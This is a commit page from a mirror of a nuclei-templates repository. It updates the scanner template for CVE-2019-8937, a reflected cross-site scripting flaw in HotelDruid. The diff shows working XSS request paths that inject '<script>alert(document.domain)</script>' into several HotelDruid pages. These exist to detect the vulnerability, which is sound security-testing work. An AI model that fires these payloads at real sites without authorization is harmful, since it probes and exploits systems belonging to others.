daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update CVE-2019-8937.yaml

patch-1
sandeep 2021-08-24 16:52:44 +05:30
parent 03b0a143d3
commit b1fdcd003e
1 changed files with 6 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
cves/2019/CVE-2019-8937.yaml
View File

@ -5,17 +5,17 @@ info:
author: Borna Nematzadeh
severity: medium
refrense: https://www.exploit-db.com/exploits/46429
tags: cve,xss,cve2019,hoteldruid
tags: cve,cve2019,xss,hoteldruid
requests:
- method: GET
path:
- '{{BaseURL}}/hoteldruid/visualizza_tabelle.php?anno=2019&id_sessione=&tipo_tabella=prenotazioni&subtotale_selezionate=1&num_cambia_pren=1&cerca_id_passati=1&cambia1=3134671%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
# - '{{BaseURL}}/hoteldruid/visualizza_tabelle.php?nsextt=x"><script>alert(document.domain)</script>'
# - '{{BaseURL}}/hoteldruid/visualizza_tabelle.php?anno=2019&id_sessione=&tipo_tabella=periodi&mese_fine=13"><script>alert(document.domain)</script>'
# - '{{BaseURL}}/hoteldruid/personalizza.php?anno=2019&id_sessione=&aggiorna_qualcosa=SI&cambianumerotariffe=1&nuovo_numero_tariffe=8&origine=./creaprezzi.php"><script>alert(document.domain)</script>'
# - '{{BaseURL}}/hoteldruid/tabella3.php?id_sessione=&mese=01&tutti_mesi=1&anno=2019"><script>alert(document.domain)</script>'
# - '{{BaseURL}}/hoteldruid/creaprezzi.php?anno=2019&id_sessione=&ins_rapido_costo=SI&tipocostoagg=perm_min&origine=crearegole.php"><script>alert(document.domain)</script>'
# - '{{BaseURL}}/hoteldruid/visualizza_tabelle.php?nsextt=x"><script>alert(document.domain)</script>'
# - '{{BaseURL}}/hoteldruid/visualizza_tabelle.php?anno=2019&id_sessione=&tipo_tabella=periodi&mese_fine=13"><script>alert(document.domain)</script>'
# - '{{BaseURL}}/hoteldruid/personalizza.php?anno=2019&id_sessione=&aggiorna_qualcosa=SI&cambianumerotariffe=1&nuovo_numero_tariffe=8&origine=./creaprezzi.php"><script>alert(document.domain)</script>'
# - '{{BaseURL}}/hoteldruid/tabella3.php?id_sessione=&mese=01&tutti_mesi=1&anno=2019"><script>alert(document.domain)</script>'
# - '{{BaseURL}}/hoteldruid/creaprezzi.php?anno=2019&id_sessione=&ins_rapido_costo=SI&tipocostoagg=perm_min&origine=crearegole.php"><script>alert(document.domain)</script>'
matchers-condition: and
matchers: